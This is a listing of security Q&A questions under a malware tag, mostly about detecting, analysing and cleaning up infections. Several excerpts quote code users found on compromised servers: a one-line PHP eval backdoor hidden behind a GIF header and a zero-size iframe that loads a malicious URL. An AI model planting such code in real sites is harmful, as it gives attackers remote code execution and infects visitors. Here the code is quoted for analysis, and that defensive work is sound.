Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

learn more… | top users | synonyms (1)

17
votes
7answers
929 views

How to deal with a person who gets easily fooled by internet and mail scams?

alternative title: How to deal with a person who has gotten paranoid and doesn't want to go online anymore? A person, who has over the years been scammed many times, by bad spam/fraud emails, and ...
25
votes
3answers
4k views

Is HTML5 vibrate feature a security vulnerability?

While surfing a news website on my mobile, I receive a virus infection alert warning that triggers my phone to vibrate incessantly. The alert looks like the following: I didn't expect my phone to ...
20
votes
4answers
2k views

Are anti-virus companies companies regularly committing software piracy?

As Mikko Hypponen highlighted in a recent tweet, anti-Virus companies collect and store both samples of malicious software and samples of legitimate software: This got me to thinking, what ...
15
votes
6answers
8k views

How do I safely inspect a suspicious email attachment?

I received a pretty blatantly spammy email to my Gmail account. I'm not really sure how it made it through the spam filters, since it has all of the telltale signs. The FROM field is spoofed as ...
12
votes
5answers
1k views

Detection and analysis of unknown malware

Suppose I have a binary which is suspicious. How can I determine whether it is malicious, and if it is, reverse-engineer how it works and what it does? For example, maybe using static analysis? Are ...
11
votes
5answers
298 views

Security of root terminal (su -) when logged into X

I often log into X as normal user (of course), open terminal and switch to root: su - I have then a terminal owned by user but effectively with root privileges. Are there any security issues in ...
9
votes
6answers
39k views

Scanning for files than have been encrypted by CryptoLocker

I am just asking in case someone has already done the analysis. A customer has a large set of network drives that were mapped to a CryptoLocker infected machine. The infection itself has been treated. ...
6
votes
2answers
247 views

Example of malware in the wild?

I'd like to test an application that detects malware on my network. In order to do that, I have a Windows VM set up that I'd like to infect with malware. But for the life of me, I can't seem to find ...
12
votes
5answers
1k views

Checking if notebook is clean of hardware spyware

Are there any simple steps one can follow to verify if a notebook is clean from hardware spyware? What should be looked for? How should it look? If any visual tutorials with photographs are ...
9
votes
2answers
1k views

Malware known to use port knocking to evade detection by network scanners?

Are there any known cases of malware in the wild that utilize port knocking on a backdoor to evade detection by network scanners?
4
votes
3answers
2k views

How to check if URL/ IP belongs to a zeus bot

I have a set of URL's which might be Zeus hosts / C&C servers since my security appliance says so. Is there a way to check if these really belong to Zeus?
0
votes
2answers
305 views

What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php ...
-1
votes
4answers
527 views

What are JS malware attack techniques?

Malicious JavaScript (generated by malicious hosted PHP code for example) can lead to attacks. What are the types of attack that malicious javascript could perform? Are the drive-by download attacks ...
12
votes
5answers
1k views

Can a .sh file be malware?

Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes can someone read this script and tell me if it safe and is it effect any how on gpg security. It gives me an ...
11
votes
3answers
1k views

How to deobfuscate this PHP malware?

Two days ago a file called "images.php" appeared on a friend's server, which he noticed because it caused errors. The file contained the following. This code is of unknown origin and presumed to be ...
8
votes
6answers
15k views

How can I prevent viruses/malware from infecting my flash drive?

I've a pen drive that I carry to the college lab . It seems all the systems in lab is infected. I need to be able to write to the drive, so I can't simply write protect it. Everytime I insert a ...
7
votes
1answer
159 views

Javascript phishing attack sucker: Do I need to be worried? [closed]

So, I'm an idiot. I opened a javascript phishing attack file. I would really, really appreciate some help with decoding the Javascript to figure out whether I'm in trouble, and what sort. I'm on OS X ...
6
votes
3answers
951 views

What methodologies are useful when reverse-engineering malware / shellcode?

Whilst I'm familiar with reverse engineering techniques from a technical standpoint, I've never found a good methodology for approaching and dissecting malware / shellcode. I've found hundreds of ...
5
votes
4answers
4k views

Browser hijacked - how to fix and prevent?

For the second time in a month, my work PC has been infected with malware that is hijacking my Google search results in Firefox. A search for the URL hijacked searches end up at turns up nothing on ...
4
votes
4answers
238 views

Besides MBR & BIOS, is it possible for a rootkit to stay persistant after a format of the harddrive?

If a system becomes infected and does not have any other storage units besides the one hard drive. Is it there any other way for a rootkit to stay on the system besides infecting the BIOS OR the MBR ...
4
votes
1answer
135 views

Recovering from malware in the registry

I'm a trainee who writes malware samples to later be tested. A basic piece I wrote in C++ kills explorer.exe, taskmgr.exe and repeats this every second. I used a bit of code to add my application ...
3
votes
2answers
202 views

Is it possible for malware to be in the BIOS or in hardware?

Is it possible for malware to be written in the BIOS section and loaded on every fresh Windows Install? If it is possible, can this affect Linux (Ubuntu and others) operating systems as well?
2
votes
2answers
115 views

Determining safety of Android APK executable that requires root

On my request, a developer gave me a new version of his Android app to test. The app requires root permissions. I do not know the developer personally. I have no specific reasons to trust or ...
1
vote
2answers
325 views

Is monitoring registry hives enough to detect new malware installation?

Is checking the state of the supporting files of the Windows registry hives enough to detect if a new software/malware has been installed on the computer or a given Windows regsitry key has been ...
7
votes
6answers
2k views

Using linux to combat windows flash drive malware?

I just put an old flash drive which i used with a windows machine into my linux. I noticed many files, mostly exes which were never visible in windows (my windows does not hide hidden files and ...
6
votes
1answer
772 views

Can I isolate a specific computer on my network?

My brother gets malware infections practically every week. Apparently he had a infection over the past 24 hours, I only noticed it because I checked the router logs and saw a massive amount of network ...
6
votes
3answers
3k views

attack/abuse notification email template

I'm building a template for use when sending "abuse" notifications to ISPs, hosting providers, etc., for when attacks originate from their netblock. Are there examples of templates used for this ...
6
votes
4answers
563 views

What abuses can an infected webpage do to me if I'm using Chrome and Flash is disabled

as a follow-up to this question Can you get virus just by visiting a website in chrome., I've read these pages: http://www.straightsectalk.com/?p=47 ...
5
votes
4answers
1k views

Can malware hide their network activity from Resource Monitor (perfmon)?

Is it possible for malware to hide their network activity from tools like the Resource Monitor that ships with windows? How much effort is it for a malware developer to implement such functionality? ...
4
votes
2answers
349 views

How to get rid of an Ad bot?

The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by ...
4
votes
2answers
4k views

Need advice on linux server being hacked

I'm currently trying to find out how one of our centos servers was compromised. We were experiencing malware on our sites. After searching I finally found the malware injecting into the sites. As it ...
4
votes
4answers
2k views

Is online banking more secure on iOS than a desktop computer?

Does Apple's iOS provide a more secure environment for online commerce (banking or shopping) than Windows or Mac OS X? Since the only software that can run on iOS must be vetted by Apple, the ...
3
votes
2answers
635 views

What patterns does a signature based anti-virus look for?

I'm working on a uni project where I will attempt to create a malware that uses some form of genetic algorithm to "evolve" itself out of being recognized by a signature based AV software. For this I ...
3
votes
1answer
245 views

How can I assess the trust worthiness of a browser add-on?

Having learned a bit more about what add-ons/extensions can do in Firefox, I want to minimize my risk and use some safer mechanism to download videos (FLV in particular) for later viewing. ...
1
vote
2answers
377 views

Is a C plugin safe if I read it through an echoing parser before?

I wanted to use sharable plugins for an application. However, the plugins were extremely time critical, so I wanted to distribute them as C libraries. Now, these are not guaranteed to be safe (the ...
1
vote
3answers
23k views

Multiple running instances of rundll32.exe

I've noticed that in the Task Manager of Windows 7, I have multiple running instances (2) of rundll32.exe. Does this necessarily means that my machine is infected by a malware as noted here: ...
0
votes
1answer
82 views

What items should be on a malware remediation checklist? [closed]

Edit: Let's assume Windows 7 and potentially Windows Server 2003/2008. IMHO, any machine that has malware should be reimaged/reformatted/OS reinstalled before it is deployed back into the ...
0
votes
2answers
122 views

Only HTTP(S) port is open. Why do I need to worry about unpatched software?

Unpatched software poses no risk by themselves. They're only problematic when someone exploits it. How could malware get into my system if I do have unpatched software in general and I'm connected to ...
0
votes
2answers
4k views

Trying to get rid of hackers who have access to all my devices [closed]

What is the best way to go about getting rid of hackers that have gained access to all my personal computers, (both old and recently purchased) phones, and even random computers I use to simply get ...
0
votes
1answer
304 views

What is the purpose of this malware code?

This is the code that I found on my client's website: ?><noindex><nofollow> <iframe src="htxp://atluscomdnsup23.ikwb.cxm/main.php?page=1f1214ff37a3022d" height="0" width="0" ...
6
votes
7answers
2k views

Safe to connect to external drive?

A customer provided an external drive (USB 2.0 and Firewire 800 connections), and wants me to copy files onto the drive. The drive is not new. I have no particular reason to suspect the customer ...
5
votes
4answers
722 views

How to keep Mac secure from viruses, malware and keyloggers?

How can I download and install software and make sure that it is not infected with viruses, malware or a keylogger? Also, I heard that Macs "don't get viruses". Is this true? Is it a good practice to ...
5
votes
3answers
888 views

Phishing virus found on server

I recently had a call from BELL concerning a virus on our Linux ( Debian ) Server. Apparently Google emailed our client about an Italian Database found on our server that was doing phishing. They ...
4
votes
2answers
155 views

Malware: extract private keys from smartcard?

We all appreciate smartcards because they secure private keys so they don't get exposed to the world. But in a production-environment it's often the case that smartcards are staying inserted for a ...
3
votes
4answers
930 views

does switching to linux remove existing computer virus

if you change from a malware/spyware infected windows setup to a linux setup will infections migrate to linux if they were on the computer? (when you are hacked/infected is it the op system that is ...
3
votes
1answer
632 views

What is known about the sirefef/zeroaccess malware/botnet?

There appears to be an increase in p2p communication among botnets that has been attributed to the sirefef/zeroaccess malware botnet. What is known on this particular threat?
3
votes
2answers
768 views

How does DNS Changer malware detection work?

This malware directs your computer to use DNS servers under control of the badguys. These DNS servers were taken over by the FBI. They were replaced with clean ones, to prevent service disruption, but ...
2
votes
2answers
280 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
1answer
15k views

How much can someone see from my iPhone by connecting to my wifi

How much can someone see from my iPhone by connecting to my wifi and can they copy my messages files documents etc
2
votes
1answer
602 views

How Browsers prevents Malware and Phishing attacks

I want to know how phishing and malware protection features are implemented in modern browsers like Chrome, Firefox, IE etc. Are these features heuristic based, or do browsers maintain a list of ...